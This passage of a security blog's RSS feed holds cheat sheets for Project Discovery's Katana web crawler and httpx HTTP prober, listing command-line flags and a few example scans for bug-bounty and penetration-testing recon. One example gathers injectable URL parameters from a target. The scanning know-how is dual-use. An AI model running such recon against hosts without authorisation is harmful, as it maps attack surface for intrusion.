    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-ps, -passive&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;enable passive sources to discover target endpoints&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-pss, -passive-source string[]&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;passive source to use for url discovery (waybackarchive,commoncrawl,alienvault)&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;katana-scope-options&quot;&gt;Katana Scope Options&lt;/h3&gt;

&lt;p&gt;Scope Katana to define what is in scope / out of scope including filters and exlcudes for file types. E.g., don’t store crawled videos or jpg, fonts etc.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
  &lt;table&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th&gt;COMMAND&lt;/th&gt;
        &lt;th&gt;DESCRIPTION&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-cs, -crawl-scope string[]&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;in scope url regex to be followed by crawler&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-cos, -crawl-out-scope string[]&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;out of scope url regex to be excluded by crawler&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-fs, -field-scope string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;pre-defined scope field (dn,rdn,fqdn) or custom regex (e.g., &apos;(company-staging.io|company.com)&apos;) (default &quot;rdn&quot;)&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-ns, -no-scope&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;disables host based default scope&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-do, -display-out-scope&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;display external endpoint from scoped crawling&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;katana-filters&quot;&gt;Katana Filters&lt;/h3&gt;

&lt;p&gt;Configure Katana to match or filter or exclude results based on the following configuration options.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
  &lt;table&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th&gt;COMMAND&lt;/th&gt;
        &lt;th&gt;DESCRIPTION&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-cs, -crawl-scope string[]&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;in scope url regex to be followed by crawler&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-cos, -crawl-out-scope string[]&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;out of scope url regex to be excluded by crawler&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-fs, -field-scope string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;pre-defined scope field (dn,rdn,fqdn) or custom regex (e.g., &apos;(company-staging.io|company.com)&apos;) (default &quot;rdn&quot;)&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-ns, -no-scope&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;disables host based default scope&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-do, -display-out-scope&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;display external endpoint from scoped crawling&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;katana-rate-limiting&quot;&gt;Katana Rate Limiting&lt;/h3&gt;

&lt;p&gt;Configure the number of threads, or requests per second or per minute for Katana.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
  &lt;table&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th&gt;COMMAND&lt;/th&gt;
        &lt;th&gt;DESCRIPTION&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-c, -concurrency int&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;number of concurrent fetchers to use (default 10)&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-p, -parallelism int&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;number of concurrent inputs to process (default 10)&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-rd, -delay int&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;request delay between each request in seconds&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-rl, -rate-limit int&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;maximum requests to send per second (default 150)&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-rlm, -rate-limit-minute int&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;maximum number of requests to send per minute&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;how-to-update-katana&quot;&gt;How To Update Katana&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
  &lt;table&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th&gt;COMMAND&lt;/th&gt;
        &lt;th&gt;DESCRIPTION&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-up, -update&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;update katana to latest version&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-duc, -disable-update-check&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;disable automatic katana update check&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;katana-output-file-options&quot;&gt;Katana Output File Options&lt;/h3&gt;

&lt;p&gt;Output Katana crawl data to file types.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
  &lt;table&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th&gt;COMMAND&lt;/th&gt;
        &lt;th&gt;DESCRIPTION&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-o, -output string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;file to write output to&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-sr, -store-response&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;store http requests/responses&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-srd, -store-response-dir string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;store http requests/responses to custom directory&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-or, -omit-raw&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;omit raw requests/responses from jsonl output&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-ob, -omit-body&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;omit response body from jsonl output&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-j, -jsonl&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;write output in jsonl format&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-nc, -no-color&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;disable output content coloring (ANSI escape codes)&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-silent&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;display output only&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-v, -verbose&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;display verbose output&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-debug&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;display debug output&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-version&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;display project version&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;katana-example-commands&quot;&gt;Katana Example Commands&lt;/h2&gt;

&lt;h3 id=&quot;katana-output-query-paramaters&quot;&gt;Katana Output Query Paramaters&lt;/h3&gt;

&lt;p&gt;Build a list of URL input injection fields from a target:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;katana &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; qurl &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; qurl-output.txt&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Do the same but from a httpx scan output text file:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nb&quot;&gt;cut&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot; &quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; 1 httpx.txt | katana &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; qurl &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; qurl-httpx.txt&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;We hope you found this Katana cheat sheet useful, and it helps you get started with this powerful web crawler by Project Discovery.&lt;/p&gt;

</description>
        </item>
        
      
    
      
        
        <item>
          <title>httpx Cheat Sheet - Commands &amp; Examples Tutorial</title>
          <link>https://hacksofdhruv.me/blog/httpx-cheat-sheet/</link>
          <pubDate>Tue, 04 Jun 2024 05:37:10 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>Web</category>
          
          <category>Tools</category>
          
          <category>Pen-Testing</category>
          
          <category>cheat-sheet</category>
          
          
          <category>cheat-sheet</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/httpx-cheat-sheet/</guid>
          <description>&lt;p&gt;&lt;img src=&quot;/img/httpx-logo.png&quot; alt=&quot;httpx logo&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;what-is-httpx&quot;&gt;What is httpx?&lt;/h2&gt;

&lt;p&gt;httpx is a fast and multi-purpose HTTP toolkit made by Project Discovery that allows running multiple probes using the retryablehttp library. It is designed to maintain result reliability with an increased number of threads. httpx can be used to obtain web server information, such as headers, download pages and take screenshots of targets. httpx is perfect for validating http/https servers for large scopes on bugbounty programs or performing asset management / penetration testing.&lt;/p&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#what-is-httpx&quot; id=&quot;markdown-toc-what-is-httpx&quot;&gt;What is httpx?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#httpx-installation&quot; id=&quot;markdown-toc-httpx-installation&quot;&gt;httpx Installation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#httpx-project-discovery-tutorial&quot; id=&quot;markdown-toc-httpx-project-discovery-tutorial&quot;&gt;httpx Project Discovery Tutorial&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#httpx-supported-probes&quot; id=&quot;markdown-toc-httpx-supported-probes&quot;&gt;httpx Supported Probes&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#httpx-cheat-sheet&quot; id=&quot;markdown-toc-httpx-cheat-sheet&quot;&gt;httpx Cheat Sheet&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#httpx-input-commands&quot; id=&quot;markdown-toc-httpx-input-commands&quot;&gt;httpx Input Commands&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#httpx-probe-commands&quot; id=&quot;markdown-toc-httpx-probe-commands&quot;&gt;httpx Probe Commands&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#httpx-headless-options&quot; id=&quot;markdown-toc-httpx-headless-options&quot;&gt;httpx Headless Options&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#httpx-match-in-response&quot; id=&quot;markdown-toc-httpx-match-in-response&quot;&gt;httpx Match in Response&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#httpx-extract-regex-strings&quot; id=&quot;markdown-toc-httpx-extract-regex-strings&quot;&gt;httpx Extract Regex Strings&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#httpx-filters&quot; id=&quot;markdown-toc-httpx-filters&quot;&gt;httpx Filters&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#httpx-rate-limiting&quot; id=&quot;markdown-toc-httpx-rate-limiting&quot;&gt;httpx Rate Limiting&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#misc-httpx-commands&quot; id=&quot;markdown-toc-misc-httpx-commands&quot;&gt;Misc httpx Commands&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#httpx-update&quot; id=&quot;markdown-toc-httpx-update&quot;&gt;httpx Update&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#httpx-file-output&quot; id=&quot;markdown-toc-httpx-file-output&quot;&gt;httpx File Output&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#httpx-config-options&quot; id=&quot;markdown-toc-httpx-config-options&quot;&gt;httpx Config Options&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#httpx-debug-options&quot; id=&quot;markdown-toc-httpx-debug-options&quot;&gt;httpx Debug Options&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#optimizations&quot; id=&quot;markdown-toc-optimizations&quot;&gt;Optimizations&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#real-world-httpx-examples&quot; id=&quot;markdown-toc-real-world-httpx-examples&quot;&gt;Real World httpx Examples&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#dnsx-to-httpx&quot; id=&quot;markdown-toc-dnsx-to-httpx&quot;&gt;DNSX to httpx&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#httpx-follow-redirects&quot; id=&quot;markdown-toc-httpx-follow-redirects&quot;&gt;httpx Follow Redirects&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#httpx-screenshot&quot; id=&quot;markdown-toc-httpx-screenshot&quot;&gt;httpx Screenshot&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#basic-recon&quot; id=&quot;markdown-toc-basic-recon&quot;&gt;Basic Recon&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#conclusion&quot; id=&quot;markdown-toc-conclusion&quot;&gt;Conclusion&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;httpx-installation&quot;&gt;httpx Installation&lt;/h2&gt;

&lt;p&gt;How to install httpx:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;go &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; github.com/projectdiscovery/httpx/cmd/httpx@latest&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;httpx-project-discovery-tutorial&quot;&gt;httpx Project Discovery Tutorial&lt;/h2&gt;

&lt;p&gt;After installation the following simple httpx tutorial will get you up and scanning web servers:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;targets.txt | httpx &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;For more options and real world httpx examples see the bottom of this document.&lt;/p&gt;

&lt;h2 id=&quot;httpx-supported-probes&quot;&gt;httpx Supported Probes&lt;/h2&gt;

&lt;p&gt;The type of data httpx can obtain from target web servers:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Probes&lt;/th&gt;
      &lt;th&gt;Default check&lt;/th&gt;
      &lt;th&gt;Probes&lt;/th&gt;
      &lt;th&gt;Default check&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;URL&lt;/td&gt;
      &lt;td&gt;true&lt;/td&gt;
      &lt;td&gt;IP&lt;/td&gt;
      &lt;td&gt;true&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Title&lt;/td&gt;
      &lt;td&gt;true&lt;/td&gt;
      &lt;td&gt;CNAME&lt;/td&gt;
      &lt;td&gt;true&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Status Code&lt;/td&gt;
      &lt;td&gt;true&lt;/td&gt;
      &lt;td&gt;Raw HTTP&lt;/td&gt;
      &lt;td&gt;false&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Content Length&lt;/td&gt;
      &lt;td&gt;true&lt;/td&gt;
      &lt;td&gt;HTTP2&lt;/td&gt;
      &lt;td&gt;false&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;TLS Certificate&lt;/td&gt;
      &lt;td&gt;true&lt;/td&gt;
      &lt;td&gt;HTTP Pipeline&lt;/td&gt;
      &lt;td&gt;false&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;CSP Header&lt;/td&gt;
      &lt;td&gt;true&lt;/td&gt;
      &lt;td&gt;Virtual host&lt;/td&gt;
      &lt;td&gt;false&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Line Count&lt;/td&gt;
      &lt;td&gt;true&lt;/td&gt;
      &lt;td&gt;Word Count&lt;/td&gt;
      &lt;td&gt;true&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Location Header&lt;/td&gt;
      &lt;td&gt;true&lt;/td&gt;
      &lt;td&gt;CDN&lt;/td&gt;
      &lt;td&gt;false&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Web Server&lt;/td&gt;
      &lt;td&gt;true&lt;/td&gt;
      &lt;td&gt;Paths&lt;/td&gt;
      &lt;td&gt;false&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Web Socket&lt;/td&gt;
      &lt;td&gt;true&lt;/td&gt;
      &lt;td&gt;Ports&lt;/td&gt;
      &lt;td&gt;false&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Response Time&lt;/td&gt;
      &lt;td&gt;true&lt;/td&gt;
      &lt;td&gt;Request Method&lt;/td&gt;
      &lt;td&gt;true&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Favicon Hash&lt;/td&gt;
      &lt;td&gt;false&lt;/td&gt;
      &lt;td&gt;Probe  Status&lt;/td&gt;
      &lt;td&gt;false&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Body Hash&lt;/td&gt;
      &lt;td&gt;true&lt;/td&gt;
      &lt;td&gt;Header  Hash&lt;/td&gt;
      &lt;td&gt;true&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Redirect chain&lt;/td&gt;
      &lt;td&gt;false&lt;/td&gt;
      &lt;td&gt;URL Scheme&lt;/td&gt;
      &lt;td&gt;true&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;JARM Hash&lt;/td&gt;
      &lt;td&gt;false&lt;/td&gt;
      &lt;td&gt;ASN&lt;/td&gt;
      &lt;td&gt;false&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;div class=&quot;note&quot;&gt;&lt;h2&gt;TIP: Take Screenshots with httpx&lt;/h2&gt;
&lt;p&gt;To take screenshots with httpx use &lt;code&gt;-screenshot&lt;/code&gt; or &lt;code&gt;-ss&lt;/code&gt;&lt;/p&gt; 
&lt;/div&gt;

&lt;h2 id=&quot;httpx-cheat-sheet&quot;&gt;httpx Cheat Sheet&lt;/h2&gt;

&lt;h3 id=&quot;httpx-input-commands&quot;&gt;httpx Input Commands&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;COMMAND&lt;/th&gt;
      &lt;th&gt;DESCRIPTION&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-l, -list string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;input file containing list of hosts to process&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-rr, -request string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;file containing raw request&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-u, -target string[]&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;input target host(s) to probe&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;httpx-probe-commands&quot;&gt;httpx Probe Commands&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;COMMAND&lt;/th&gt;
      &lt;th&gt;DESCRIPTION&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-sc, -status-code&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;display response status-code&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-cl, -content-length&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;display response content-length&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-ct, -content-type&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;display response content-type&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-location&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;display response redirect location&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-favicon&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;display mmh3 hash for &apos;/favicon.ico&apos; file&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-hash string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;display response body hash (supported: md5,mmh3,simhash,sha1,sha256,sha512)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-jarm&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;display jarm fingerprint hash&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-rt, -response-time&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;display response time&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-lc, -line-count&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;display response body line count&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-wc, -word-count&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;display response body word count&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-title&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;display page title&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-bp, -body-preview&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;display first N characters of response body (default 100)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
